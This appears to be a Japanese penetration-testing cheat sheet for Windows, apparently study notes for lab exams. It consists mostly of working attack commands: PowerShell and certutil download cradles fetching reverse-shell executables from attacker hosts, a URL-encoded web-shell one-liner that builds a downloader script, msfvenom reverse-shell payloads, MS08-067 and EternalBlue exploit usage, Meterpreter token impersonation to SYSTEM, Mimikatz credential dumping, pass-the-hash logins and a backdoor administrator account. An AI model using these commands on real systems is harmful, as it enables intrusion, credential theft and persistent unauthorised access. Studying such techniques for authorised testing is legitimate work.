  • powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.5/share/powercat.ps1')"
  • meterpreter
    • upload evil_trojan.exe c:\\windows\\system32
    • download c:\\boot.ini
  • certutil.exe -urlcache -split -f http://10.11.0.11/exploit/windows/reverse-shell4445.exe reverse-shell4445.exe
  • powershell empire
    • upload /tmp/launcher.bat
  • cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
echo+strUrl+%3D+WScript.Arguments.Item%280%29+%3E+wget.vbs+%26+echo+StrFile+%3D+WScript.Arguments.Item%281%29+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DEFAULT+%3D+0+%3E%3E+wget.vbs+%26++echo+Const+HTTPREQUEST_PROXYSETTING_PRECONFIG+%3D+0+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DIRECT+%3D+1+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_PROXY+%3D+2+%3E%3E+wget.vbs+%26+echo+Dim+http%2C+varByteArray%2C+strData%2C+strBuffer%2C+lngCounter%2C+fs%2C+ts+%3E%3E+wget.vbs+%26+echo+Err.Clear+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest.5.1%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22MSXML2.ServerXMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22Microsoft.XMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+http.Open+%22GET%22%2C+strURL%2C+False+%3E%3E+wget.vbs+%26+echo+http.Send+%3E%3E+wget.vbs+%26+echo+varByteArray+%3D+http.ResponseBody+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+fs+%3D+CreateObject%28%22Scripting.FileSystemObject%22%29+%3E%3E+wget.vbs+%26+echo+Set+ts+%3D+fs.CreateTextFile%28StrFile%2C+True%29+%3E%3E+wget.vbs+%26+echo+strData+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+strBuffer+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+For+lngCounter+%3D+0+to+UBound%28varByteArray%29+%3E%3E+wget.vbs+%26+echo+ts.Write+Chr%28255+And+Ascb%28Midb%28varByteArray%2ClngCounter+%2B+1%2C+1%29%29%29+%3E%3E+wget.vbs+%26+echo+Next+%3E%3E+wget.vbs+%26+echo+ts.Close+%3E%3E+wget.vbs

Webshellが設置できると、このワンライナーwebshell.php?cmd=echo+....みたいにすることで、wget.vbsを作成する
- powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

echo $storageDir = $pwd >wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://[kali ip]/[file]" >>wget.ps1
echo $file = "[file]" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
  • smbserver.py a /usr/share/windows-binaries/
    Kali上でImpacketのsmbserver.pyを使用することで、445ポート上にSMBサーバーを立ち上げる。
    windowsからは\\10.10.14.25\a\whoami.exeなどでローカルにあるようにコマンドを実行できる。
    dir,copyなども可能。
    また、Windowsから接続してきた際のsmbserver.pyのログから現在のWindowsのユーザーのハッシュが取得できる可能性がある。
    blog.ropnop.com

有名なExploit

MS08-067(netapi)
  • python ms08-067-modi.py 10.10.10.1 7 445
    msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows --var-name shellcode
    でカスタムペイロードを作成して、shellcodeの中身を変更して実行。
    わかりやすい。
Usage: ms08-067-modi.py <target ip> <os #> <Port #>

Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)

github.com
www.exploit-db.com
www.exploit-db.com

MS17-010(eternal blue)
  • python ms17-010-zzz.py -t 10.11.1.1 -c "net user" -u root -p root
    使用できる名前付きパイプが見つからない、みたいなエラーが発生する場合は、以下のスクリプトでusernameとPasswordを適当に設定する必要がある。
    名前付きパイプは、
    use auxiliary/scanner/smb/pipe_auditor
    で使用可能なものを列挙できる。
    /usr/share/metasploit-framework/data/wordlists/named_pipes.txt
    に名前付きパイプのWordlistがある。
    -cで任意のコマンドをSYSTEMとして実行できる。
    github.com
  • python zzz_exploit.py -t 10.11.1.75 -u root -p root -c "cmd"
    以下のスクリプトでもコマンドを実行できたが、FirewallによってOutboundが制御されている場合は実行に失敗した。(気のせい?)
    github.com
  • python send_and_execute.py 10.11.1.1 reverse-shell.exe
    usernameやPasswordを設定しなくてもコマンドが実行できるなら、これでReverse shellを得られる。
    github.com

  • use auxiliary/admin/smb/ms17_010_command
    Metasploitでコマンドを実行できる。

  • use exploit/windows/smb/ms17_010_eternalblue
    MetasploitでReverse shellを得られる。

Abusing Token

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getprivs 

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege

Meterpreter上でload incognitoで利用・偽装可能なトークンを列挙できる。
Administratorに昇格できる場合がある。

meterpreter > load incognito 
Loading extension incognito...Success.
meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
BUILTIN\Administrators
BUILTIN\Guests
BUILTIN\Performance Log Users
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NETWORK
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization

Impersonation Tokens Available
========================================
No tokens available

meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

PowershellでTokenを操作できるスクリプトがあるらしい。
https://hacknpentest.com/privilege-escalation-through-token-manipulation/hacknpentest.com

Post Exploit

  • Mimikatz
    Active Directoryで管理されている組織のネットワークに所属するホストの場合は、ネットワーク管理者による管理を円滑にするために、複数の端末で共通のパスワードが設定された状態でアカウントが有効化されている場合が多い。
    よって、SYSYEMを取得したあとは、ホストに保存されているNTLMハッシュのダンプして、PassTheHashによって同じパスワードを使用している、同じネットワーク内の別のホストへと横移動できる
    Mimikatzは実行に管理者権限を必要とする
    Invoke-Mimikatz -DumpCreds,Seatbelt.exeで確認
  • Pass the Hash

    • fgdump.exe
    • wce32.exe -w
    • python psexec.py Administrator:password@10.11.1.1
      資格情報が得られた場合はImpacketのPsExecモジュールでログインできるかも。
    • python wmiexec.py -hashes :aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Administrator@10.11.1.1
      hashが得られている場合はImpacketのwmiexecモジュールでPTHできるかも。
      :aaa...とすることでLMハッシュを省略。
      www.hackingarticles.in
      blog.ropnop.com
  • add backdoor

    • net user backdoor pass /add
    • net localgroup administrators backdoor /add
      todo!!
      以下を参照
      github.com

参考文献

PEの方法を非常に丁寧に書いてあってわかりやすい。
github.com
www.fuzzysecurity.com
github.com
sushant747.gitbooks.io
github.com